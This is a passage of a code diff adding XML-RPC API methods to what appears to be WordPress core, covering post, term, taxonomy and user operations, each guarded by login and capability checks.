+					if ( ! current_user_can( $post_type_taxonomies[$taxonomy]->cap->assign_terms ) )
+						return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
+
+					// for hierarchical taxonomies, we can't assign a term when multiple terms in the hierarchy share the same name
+					$ambiguous_terms = array();
+					if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+						$tax_term_names = get_terms( $taxonomy, array( 'fields' => 'names', 'hide_empty' => false ) );
+
+						// count the number of terms with the same name
+						$tax_term_names_count = array_count_values( $tax_term_names );
+
+						// filter out non-ambiguous term names
+						$ambiguous_tax_term_counts = array_filter( $tax_term_names_count, array( $this, '_is_greater_than_one') );
+
+						$ambiguous_terms = array_keys( $ambiguous_tax_term_counts );
+					}
+
+					$term_names = $post_data['terms_names'][$taxonomy];
+					foreach ( $term_names as $term_name ) {
+						if ( in_array( $term_name, $ambiguous_terms ) )
+							return new IXR_Error( 401, __( 'Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead.' ) );
+
+						$term = get_term_by( 'name', $term_name, $taxonomy );
+
+						if ( ! $term ) {
+							// term doesn't exist, so check that the user is allowed to create new terms
+							if ( ! current_user_can( $post_type_taxonomies[$taxonomy]->cap->edit_terms ) )
+								return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a term to one of the given taxonomies.' ) );
+
+							// create the new term
+							$term_info = wp_insert_term( $term_name, $taxonomy );
+							if ( is_wp_error( $term_info ) )
+								return new IXR_Error( 500, $term_info->get_error_message() );
+
+							$terms[$taxonomy][] = (int) $term_info['term_id'];
+						} else {
+							$terms[$taxonomy][] = (int) $term->term_id;
+						}
+					}
+				}
+			}
+
+			$post_data['tax_input'] = $terms;
+			unset( $post_data['terms'], $post_data['terms_names'] );
+		} else {
+			// do not allow direct submission of 'tax_input', clients must use 'terms' and/or 'terms_names'
+			unset( $post_data['tax_input'], $post_data['post_category'], $post_data['tags_input'] );
+		}
+
+		if ( isset( $post_data['post_format'] ) ) {
+			$format = set_post_format( $post_ID, $post_data['post_format'] );
+
+			if ( is_wp_error( $format ) )
+				return new IXR_Error( 500, $format->get_error_message() );
+
+			unset( $post_data['post_format'] );
+		}
+
+		// Handle enclosures
+		$enclosure = isset( $post_data['enclosure'] ) ? $post_data['enclosure'] : null;
+		$this->add_enclosure_if_new( $post_ID, $enclosure );
+
+		$this->attach_uploads( $post_ID, $post_data['post_content'] );
+
+		/**
+		 * Filter post data array to be inserted via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $post_data      Parsed array of post data.
+		 * @param array $content_struct Post data array.
+		 */
+		$post_data = apply_filters( 'xmlrpc_wp_insert_post_data', $post_data, $content_struct );
+
+		$post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error( 500, $post_ID->get_error_message() );
+
+		if ( ! $post_ID )
+			return new IXR_Error( 401, __( 'Sorry, your entry could not be posted. Something wrong happened.' ) );
+
+		return strval( $post_ID );
+	}
+
+	/**
+	 * Edit a post for any registered post type.
+	 *
+	 * The $content_struct parameter only needs to contain fields that
+	 * should be changed. All other fields will retain their existing values.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - int     $post_id
+	 *  - array   $content_struct
+	 * @return bool|IXR_Error true on success
+	 */
+	public function wp_editPost( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$post_id        = (int) $args[3];
+		$content_struct = $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editPost' );
+
+		$post = get_post( $post_id, ARRAY_A );
+
+		if ( empty( $post['ID'] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( isset( $content_struct['if_not_modified_since'] ) ) {
+			// If the post has been modified since the date provided, return an error.
+			if ( mysql2date( 'U', $post['post_modified_gmt'] ) > $content_struct['if_not_modified_since']->getTimestamp() ) {
+				return new IXR_Error( 409, __( 'There is a revision of this post that is more recent.' ) );
+			}
+		}
+
+		// convert the date field back to IXR form
+		$post['post_date'] = $this->_convert_date( $post['post_date'] );
+
+		// ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
+		// since _insert_post will ignore the non-GMT date if the GMT date is set
+		if ( $post['post_date_gmt'] == '0000-00-00 00:00:00' || isset( $content_struct['post_date'] ) )
+			unset( $post['post_date_gmt'] );
+		else
+			$post['post_date_gmt'] = $this->_convert_date( $post['post_date_gmt'] );
+
+		$this->escape( $post );
+		$merged_content_struct = array_merge( $post, $content_struct );
+
+		$retval = $this->_insert_post( $user, $merged_content_struct );
+		if ( $retval instanceof IXR_Error )
+			return $retval;
+
+		return true;
+	}
+
+	/**
+	 * Delete a post for any registered post type.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses wp_delete_post()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - int     $post_id
+	 * @return bool|IXR_Error true on success
+	 */
+	public function wp_deletePost( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+		$post_id    = (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deletePost' );
+
+		$post = get_post( $post_id, ARRAY_A );
+		if ( empty( $post['ID'] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'delete_post', $post_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
+
+		$result = wp_delete_post( $post_id );
+
+		if ( ! $result )
+			return new IXR_Error( 500, __( 'The post cannot be deleted.' ) );
+
+		return true;
+	}
+
+	/**
+	 * Retrieve a post.
+	 *
+	 * @since 3.4.0
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array. This should be a list of field names. 'post_id' will
+	 * always be included in the response regardless of the value of $fields.
+	 *
+	 * Instead of, or in addition to, individual field names, conceptual group
+	 * names can be used to specify multiple fields. The available conceptual
+	 * groups are 'post' (all basic fields), 'taxonomies', 'custom_fields',
+	 * and 'enclosure'.
+	 *
+	 * @uses get_post()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unset)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - int     $post_id
+	 *  - array   $fields optional
+	 * @return array|IXR_Error Array contains (based on $fields parameter):
+	 *  - 'post_id'
+	 *  - 'post_title'
+	 *  - 'post_date'
+	 *  - 'post_date_gmt'
+	 *  - 'post_modified'
+	 *  - 'post_modified_gmt'
+	 *  - 'post_status'
+	 *  - 'post_type'
+	 *  - 'post_name'
+	 *  - 'post_author'
+	 *  - 'post_password'
+	 *  - 'post_excerpt'
+	 *  - 'post_content'
+	 *  - 'link'
+	 *  - 'comment_status'
+	 *  - 'ping_status'
+	 *  - 'sticky'
+	 *  - 'custom_fields'
+	 *  - 'terms'
+	 *  - 'categories'
+	 *  - 'tags'
+	 *  - 'enclosure'
+	 */
+	public function wp_getPost( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$post_id            = (int) $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filter the list of post query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param array $fields  Array of post fields.
+			 * @param string $method Method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPost' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPost' );
+
+		$post = get_post( $post_id, ARRAY_A );
+
+		if ( empty( $post['ID'] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'edit_post', $post_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+
+		return $this->_prepare_post( $post, $fields );
+	}
+
+	/**
+	 * Retrieve posts.
+	 *
+	 * @since 3.4.0
+	 *
+	 * The optional $filter parameter modifies the query used to retrieve posts.
+	 * Accepted keys are 'post_type', 'post_status', 'number', 'offset',
+	 * 'orderby', and 'order'.
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array.
+	 *
+	 * @uses wp_get_recent_posts()
+	 * @see wp_getPost() for more on $fields
+	 * @see get_posts() for more on $filter values
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $filter optional
+	 *  - array   $fields optional
+	 * @return array|IXR_Error Array contains a collection of posts.
+	 */
+	public function wp_getPosts( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+		$filter     = isset( $args[3] ) ? $args[3] : array();
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPosts' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPosts' );
+
+		$query = array();
+
+		if ( isset( $filter['post_type'] ) ) {
+			$post_type = get_post_type_object( $filter['post_type'] );
+			if ( ! ( (bool) $post_type ) )
+				return new IXR_Error( 403, __( 'The post type specified is not valid' ) );
+		} else {
+			$post_type = get_post_type_object( 'post' );
+		}
+
+		if ( ! current_user_can( $post_type->cap->edit_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type' ));
+
+		$query['post_type'] = $post_type->name;
+
+		if ( isset( $filter['post_status'] ) )
+			$query['post_status'] = $filter['post_status'];
+
+		if ( isset( $filter['number'] ) )
+			$query['numberposts'] = absint( $filter['number'] );
+
+		if ( isset( $filter['offset'] ) )
+			$query['offset'] = absint( $filter['offset'] );
+
+		if ( isset( $filter['orderby'] ) ) {
+			$query['orderby'] = $filter['orderby'];
+
+			if ( isset( $filter['order'] ) )
+				$query['order'] = $filter['order'];
+		}
+
+		if ( isset( $filter['s'] ) ) {
+			$query['s'] = $filter['s'];
+		}
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( ! $posts_list )
+			return array();
+
+		// holds all the posts data
+		$struct = array();
+
+		foreach ( $posts_list as $post ) {
+			if ( ! current_user_can( 'edit_post', $post['ID'] ) )
+				continue;
+
+			$struct[] = $this->_prepare_post( $post, $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Create a new term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses wp_insert_term()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $content_struct
+	 *      The $content_struct must contain:
+	 *      - 'name'
+	 *      - 'taxonomy'
+	 *      Also, it can optionally contain:
+	 *      - 'parent'
+	 *      - 'description'
+	 *      - 'slug'
+	 * @return string|IXR_Error term_id
+	 */
+	public function wp_newTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$content_struct     = $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newTerm' );
+
+		if ( ! taxonomy_exists( $content_struct['taxonomy'] ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy' ) );
+
+		$taxonomy = get_taxonomy( $content_struct['taxonomy'] );
+
+		if ( ! current_user_can( $taxonomy->cap->manage_terms ) )
+			return new IXR_Error( 401, __( 'You are not allowed to create terms in this taxonomy.' ) );
+
+		$taxonomy = (array) $taxonomy;
+
+		// hold the data of the term
+		$term_data = array();
+
+		$term_data['name'] = trim( $content_struct['name'] );
+		if ( empty( $term_data['name'] ) )
+			return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
+
+		if ( isset( $content_struct['parent'] ) ) {
+			if ( ! $taxonomy['hierarchical'] )
+				return new IXR_Error( 403, __( 'This taxonomy is not hierarchical.' ) );
+
+			$parent_term_id = (int) $content_struct['parent'];
+			$parent_term = get_term( $parent_term_id , $taxonomy['name'] );
+
+			if ( is_wp_error( $parent_term ) )
+				return new IXR_Error( 500, $parent_term->get_error_message() );
+
+			if ( ! $parent_term )
+				return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
+
+			$term_data['parent'] = $content_struct['parent'];
+		}
+
+		if ( isset( $content_struct['description'] ) )
+			$term_data['description'] = $content_struct['description'];
+
+		if ( isset( $content_struct['slug'] ) )
+			$term_data['slug'] = $content_struct['slug'];
+
+		$term = wp_insert_term( $term_data['name'] , $taxonomy['name'] , $term_data );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 500, __( 'Sorry, your term could not be created. Something wrong happened.' ) );
+
+		return strval( $term['term_id'] );
+	}
+
+	/**
+	 * Edit a term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses wp_update_term()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - string  $term_id
+	 *  - array   $content_struct
+	 *      The $content_struct must contain:
+	 *      - 'taxonomy'
+	 *      Also, it can optionally contain:
+	 *      - 'name'
+	 *      - 'parent'
+	 *      - 'description'
+	 *      - 'slug'
+	 * @return bool|IXR_Error True, on success.
+	 */
+	public function wp_editTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$term_id            = (int) $args[3];
+		$content_struct     = $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editTerm' );
+
+		if ( ! taxonomy_exists( $content_struct['taxonomy'] ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy' ) );
+
+		$taxonomy = get_taxonomy( $content_struct['taxonomy'] );
+
+		if ( ! current_user_can( $taxonomy->cap->edit_terms ) )
+			return new IXR_Error( 401, __( 'You are not allowed to edit terms in this taxonomy.' ) );
+
+		$taxonomy = (array) $taxonomy;
+
+		// hold the data of the term
+		$term_data = array();
+
+		$term = get_term( $term_id , $content_struct['taxonomy'] );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 404, __( 'Invalid term ID' ) );
+
+		if ( isset( $content_struct['name'] ) ) {
+			$term_data['name'] = trim( $content_struct['name'] );
+
+			if ( empty( $term_data['name'] ) )
+				return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
+		}
+
+		if ( isset( $content_struct['parent'] ) ) {
+			if ( ! $taxonomy['hierarchical'] )
+				return new IXR_Error( 403, __( "This taxonomy is not hierarchical so you can't set a parent." ) );
+
+			$parent_term_id = (int) $content_struct['parent'];
+			$parent_term = get_term( $parent_term_id , $taxonomy['name'] );
+
+			if ( is_wp_error( $parent_term ) )
+				return new IXR_Error( 500, $parent_term->get_error_message() );
+
+			if ( ! $parent_term )
+				return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
+
+			$term_data['parent'] = $content_struct['parent'];
+		}
+
+		if ( isset( $content_struct['description'] ) )
+			$term_data['description'] = $content_struct['description'];
+
+		if ( isset( $content_struct['slug'] ) )
+			$term_data['slug'] = $content_struct['slug'];
+
+		$term = wp_update_term( $term_id , $taxonomy['name'] , $term_data );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 500, __( 'Sorry, editing the term failed.' ) );
+
+		return true;
+	}
+
+	/**
+	 * Delete a term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses wp_delete_term()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - string  $taxnomy_name
+	 *  - string     $term_id
+	 * @return boolean|IXR_Error If it suceeded true else a reason why not
+	 */
+	public function wp_deleteTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$taxonomy           = $args[3];
+		$term_id            = (int) $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deleteTerm' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		if ( ! current_user_can( $taxonomy->cap->delete_terms ) )
+			return new IXR_Error( 401, __( 'You are not allowed to delete terms in this taxonomy.' ) );
+
+		$term = get_term( $term_id, $taxonomy->name );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 404, __( 'Invalid term ID' ) );
+
+		$result = wp_delete_term( $term_id, $taxonomy->name );
+
+		if ( is_wp_error( $result ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $result )
+			return new IXR_Error( 500, __( 'Sorry, deleting the term failed.' ) );
+
+		return $result;
+	}
+
+	/**
+	 * Retrieve a term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses get_term()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - string  $taxonomy
+	 *  - string  $term_id
+	 * @return array|IXR_Error Array contains:
+	 *  - 'term_id'
+	 *  - 'name'
+	 *  - 'slug'
+	 *  - 'term_group'
+	 *  - 'term_taxonomy_id'
+	 *  - 'taxonomy'
+	 *  - 'description'
+	 *  - 'parent'
+	 *  - 'count'
+	 */
+	public function wp_getTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$taxonomy           = $args[3];
+		$term_id            = (int) $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTerm' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+			return new IXR_Error( 401, __( 'You are not allowed to assign terms in this taxonomy.' ) );
+
+		$term = get_term( $term_id , $taxonomy->name, ARRAY_A );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 404, __( 'Invalid term ID' ) );
+
+		return $this->_prepare_term( $term );
+	}
+
+	/**
+	 * Retrieve all terms for a taxonomy.
+	 *
+	 * @since 3.4.0
+	 *
+	 * The optional $filter parameter modifies the query used to retrieve terms.
+	 * Accepted keys are 'number', 'offset', 'orderby', 'order', 'hide_empty', and 'search'.
+	 *
+	 * @uses get_terms()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - string  $taxonomy
+	 *  - array   $filter optional
+	 * @return array|IXR_Error terms
+	 */
+	public function wp_getTerms( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$taxonomy       = $args[3];
+		$filter         = isset( $args[4] ) ? $args[4] : array();
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTerms' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+			return new IXR_Error( 401, __( 'You are not allowed to assign terms in this taxonomy.' ) );
+
+		$query = array();
+
+		if ( isset( $filter['number'] ) )
+			$query['number'] = absint( $filter['number'] );
+
+		if ( isset( $filter['offset'] ) )
+			$query['offset'] = absint( $filter['offset'] );
+
+		if ( isset( $filter['orderby'] ) ) {
+			$query['orderby'] = $filter['orderby'];
+
+			if ( isset( $filter['order'] ) )
+				$query['order'] = $filter['order'];
+		}
+
+		if ( isset( $filter['hide_empty'] ) )
+			$query['hide_empty'] = $filter['hide_empty'];
+		else
+			$query['get'] = 'all';
+
+		if ( isset( $filter['search'] ) )
+			$query['search'] = $filter['search'];
+
+		$terms = get_terms( $taxonomy->name, $query );
+
+		if ( is_wp_error( $terms ) )
+			return new IXR_Error( 500, $terms->get_error_message() );
+
+		$struct = array();
+
+		foreach ( $terms as $term ) {
+			$struct[] = $this->_prepare_term( $term );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve a taxonomy.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses get_taxonomy()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - string  $taxonomy
+	 * @return array|IXR_Error (@see get_taxonomy())
+	 */
+	public function wp_getTaxonomy( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$taxonomy       = $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filter the taxonomy query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param array  $fields An array of taxonomy fields to retrieve.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomy' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTaxonomy' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+			return new IXR_Error( 401, __( 'You are not allowed to assign terms in this taxonomy.' ) );
+
+		return $this->_prepare_taxonomy( $taxonomy, $fields );
+	}
+
+	/**
+	 * Retrieve all taxonomies.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses get_taxonomies()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 * @return array taxonomies
+	 */
+	public function wp_getTaxonomies( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$filter             = isset( $args[3] ) ? $args[3] : array( 'public' => true );
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomies' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTaxonomies' );
+
+		$taxonomies = get_taxonomies( $filter, 'objects' );
+
+		// holds all the taxonomy data
+		$struct = array();
+
+		foreach ( $taxonomies as $taxonomy ) {
+			// capability check for post_types
+			if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+				continue;
+
+			$struct[] = $this->_prepare_taxonomy( $taxonomy, $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve a user.
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array. This should be a list of field names. 'user_id' will
+	 * always be included in the response regardless of the value of $fields.
+	 *
+	 * Instead of, or in addition to, individual field names, conceptual group
+	 * names can be used to specify multiple fields. The available conceptual
+	 * groups are 'basic' and 'all'.
+	 *
+	 * @uses get_userdata()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - int     $user_id
+	 *  - array   $fields optional
+	 * @return array|IXR_Error Array contains (based on $fields parameter):
+	 *  - 'user_id'
+	 *  - 'username'
+	 *  - 'first_name'
+	 *  - 'last_name'
+	 *  - 'registered'
+	 *  - 'bio'
+	 *  - 'email'
+	 *  - 'nickname'
+	 *  - 'nicename'
+	 *  - 'url'
+	 *  - 'display_name'
+	 *  - 'roles'
+	 */
+	public function wp_getUser( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+		$user_id    = (int) $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filter the default user query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param array  $fields User query fields for given method. Default 'all'.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUser' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getUser' );
+
+		if ( ! current_user_can( 'edit_user', $user_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit users.' ) );
+
+		$user_data = get_userdata( $user_id );
+
+		if ( ! $user_data )
+			return new IXR_Error( 404, __( 'Invalid user ID' ) );
+
+		return $this->_prepare_user( $user_data, $fields );
+	}
+
+	/**
+	 * Retrieve users.
+	 *
+	 * The optional $filter parameter modifies the query used to retrieve users.
+	 * Accepted keys are 'number' (default: 50), 'offset' (default: 0), 'role',
+	 * 'who', 'orderby', and 'order'.
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array.
+	 *
+	 * @uses get_users()
+	 * @see wp_getUser() for more on $fields and return values
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $filter optional
+	 *  - array   $fields optional
+	 * @return array|IXR_Error users data
+	 */
+	public function wp_getUsers( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+		$filter     = isset( $args[3] ) ? $args[3] : array();
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUsers' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getUsers' );
+
+		if ( ! current_user_can( 'list_users' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot list users.' ) );
+
+		$query = array( 'fields' => 'all_with_meta' );
+
+		$query['number'] = ( isset( $filter['number'] ) ) ? absint( $filter['number'] ) : 50;
+		$query['offset'] = ( isset( $filter['offset'] ) ) ? absint( $filter['offset'] ) : 0;
+
+		if ( isset( $filter['orderby'] ) ) {
+			$query['orderby'] = $filter['orderby'];
+
+			if ( isset( $filter['order'] ) )
+				$query['order'] = $filter['order'];
+		}
+
+		if ( isset( $filter['role'] ) ) {
+			if ( get_role( $filter['role'] ) === null )
+				return new IXR_Error( 403, __( 'The role specified is not valid' ) );
+
+			$query['role'] = $filter['role'];
+		}
+
+		if ( isset( $filter['who'] ) ) {
+			$query['who'] = $filter['who'];
+		}
+
+		$users = get_users( $query );
+
+		$_users = array();
+		foreach ( $users as $user_data ) {
+			if ( current_user_can( 'edit_user', $user_data->ID ) )
+				$_users[] = $this->_prepare_user( $user_data, $fields );
+		}
+		return $_users;
+	}
+
+	/**
+	 * Retrieve information about the requesting user.
+	 *
+	 * @uses get_userdata()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $fields optional
